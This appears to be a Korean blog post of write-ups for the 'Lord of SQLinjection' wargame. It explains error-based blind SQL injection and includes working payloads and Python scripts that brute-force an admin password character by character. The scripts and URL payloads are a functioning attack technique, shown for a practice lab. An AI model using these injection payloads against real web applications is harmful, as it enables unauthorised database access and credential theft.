문제가 깨져서 못푼다고 한다.

얼떨결에 클리어

'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection evil_wizard  (0) 2017.08.08
Lord of SQLinjection dark_eyes  (0) 2017.08.08
Lord of SQLinjection iron_golem  (0) 2017.08.06
Lord of SQLinjection dragon  (0) 2017.08.05
Lord of SQLinjection nightmare  (0) 2017.08.05


php 코드를 보면 이전 문제와 비슷하지만 다른점은 에러가 나오면 화면에 아무것도 표시하지 않는다.

이번에는 화면에 아무것도 표시되지 않는 부분을 이용해 error based sql injection을 하면 된다.

조건을 줘서 blind sqlinjection을 하려고 했으나 if가 필터에 걸려있다.. 처음엔 여기를 보고 coalesce를 이용해 풀려고 했으나 복잡하여 다른 방법을 생각하다가 mysql에서 a or b에서 a가 참이면 뒤의 b가 참이 아니여도 참이 된다는 것일 이용해 b 부분에 subquery를 이용해 에러메시지가 나오도록 하면 풀 수 있다는 것을 알았다.


먼저 pw 길이를 구하는 쿼리다.


?pw=' or id='admin' and (length(pw)=8 or (select id union select 2))%23

아래는 pw를 구하는 코드다.

import urllib, urllib2

flag = ""

for i in range(1, 9):
        for j in range(33, 128):
                url = "https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?"
                dat = "pw=%27%20or%20id=%27admin%27%20and%20(ord(mid(pw,{},1))={}%20or%20(select%20id%20union%20select%202))%23".format(i, j)
                print url+dat
                req = urllib2.Request(url+dat)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=; PHPSESSID=')
                res = urllib2.urlopen(req).read()

                if len(res) != 0:
                        print "[+]Find! : {}".format(chr(j))
                        flag += chr(j)
                        break
print "[+] Flag : {}".format(flag)






'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection evil_wizard  (0) 2017.08.08
Lord of SQLinjection hel_fire  (0) 2017.08.08
Lord of SQLinjection iron_golem  (0) 2017.08.06
Lord of SQLinjection dragon  (0) 2017.08.05
Lord of SQLinjection nightmare  (0) 2017.08.05

php 코드를 보면 sleep과 benchmark외엔 싱글쿼터나 기본적인 문자열를 막지는 않는다.

근데 조금 다른점은 이전에는 쿼리를 성공적으로 수행하면 Hello admin 형식으로 id를 출력해준다. 하지만 이 문제는 id를 출력해주지 않는 대신 에러가 터지면 mysql_error를 출력해준다. 

error based sql injection 문제다.


그래서 싱글쿼터를 입력해서 쿼리 에러를 내보면 에러 메시지가 나온다.


order by 1을 했을때는 정상적으로 출력되지만


order by 2를 하면 칼럼 수가 틀렸다는 에러가 나온다.


이제 blind sql injection을 하면 된다.  if 문에서 조건이 틀렸을때 에러 메시지가 출력되도록 하면 된다.

칼럼 수가 1개라는 사실을 알았으니 에러메시지는 두개의 칼럼을 select 하는 것으로 에러를 유도하면 된다.

먼저 pw길이를 구해야한다.

아래는 pw길이를 구하는 코드다.


import urllib2

url = "http://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?"
flag = ""
for i in range(1,20):
        dat = "pw=%27%20or%20id=%27admin%27%20and%20if(length(pw)={},1,(select%201%20union%20select%202))%23".format(i)
        req = urllib2.Request(url+dat)
        req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
        req.add_header('Cookie','__cfduid=de7016e2b19d628553d2de89d20fb8f121501639365; PHPSESSID=jo80vpec0eicr1dt140qpqbkq7')
        res = urllib2.urlopen(req).read()
        if "Subquery returns more than 1 row" not in res:
                flag = str(i)
                break
print "FIND length :" + flag

위의 코드를 돌리면 pw 길이가 16으로 나온다. 하지만 한글자당 4바이트이므로 pw의 길이는 4다.

ex) ?pw=' or if((select id='admin' and length(substr(pw,1,1))=4),1,(select 1 union select 2))%23


그리고 아래는 pw를 구하는 error based blind sql injection 코드다


import urllib2

url = "http://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?"
flag = ""
for i in range(1,5):
        for j in range(33, 127):
                dat = "pw=%27%20or%20if((select%20id=%27admin%27%20and%20ord(substr(pw,{},1))={}),1,(select%201%20union%20select%202))%23".format(i, j)
                req = urllib2.Request(url+dat)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=; PHPSESSID=')
                res = urllib2.urlopen(req).read()
                print url+dat
                if "Subquery returns more than 1 row" not in res:
                        print "FIND! : " + chr(j)
                        flag += chr(j)
                        break
print "FIND PW :" + flag




Ref.http://pjongy.tistory.com/93


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection hel_fire  (0) 2017.08.08
Lord of SQLinjection dark_eyes  (0) 2017.08.08
Lord of SQLinjection dragon  (0) 2017.08.05
Lord of SQLinjection nightmare  (0) 2017.08.05
Lord of SQLinjection succubus  (0) 2017.08.04

+ Recent posts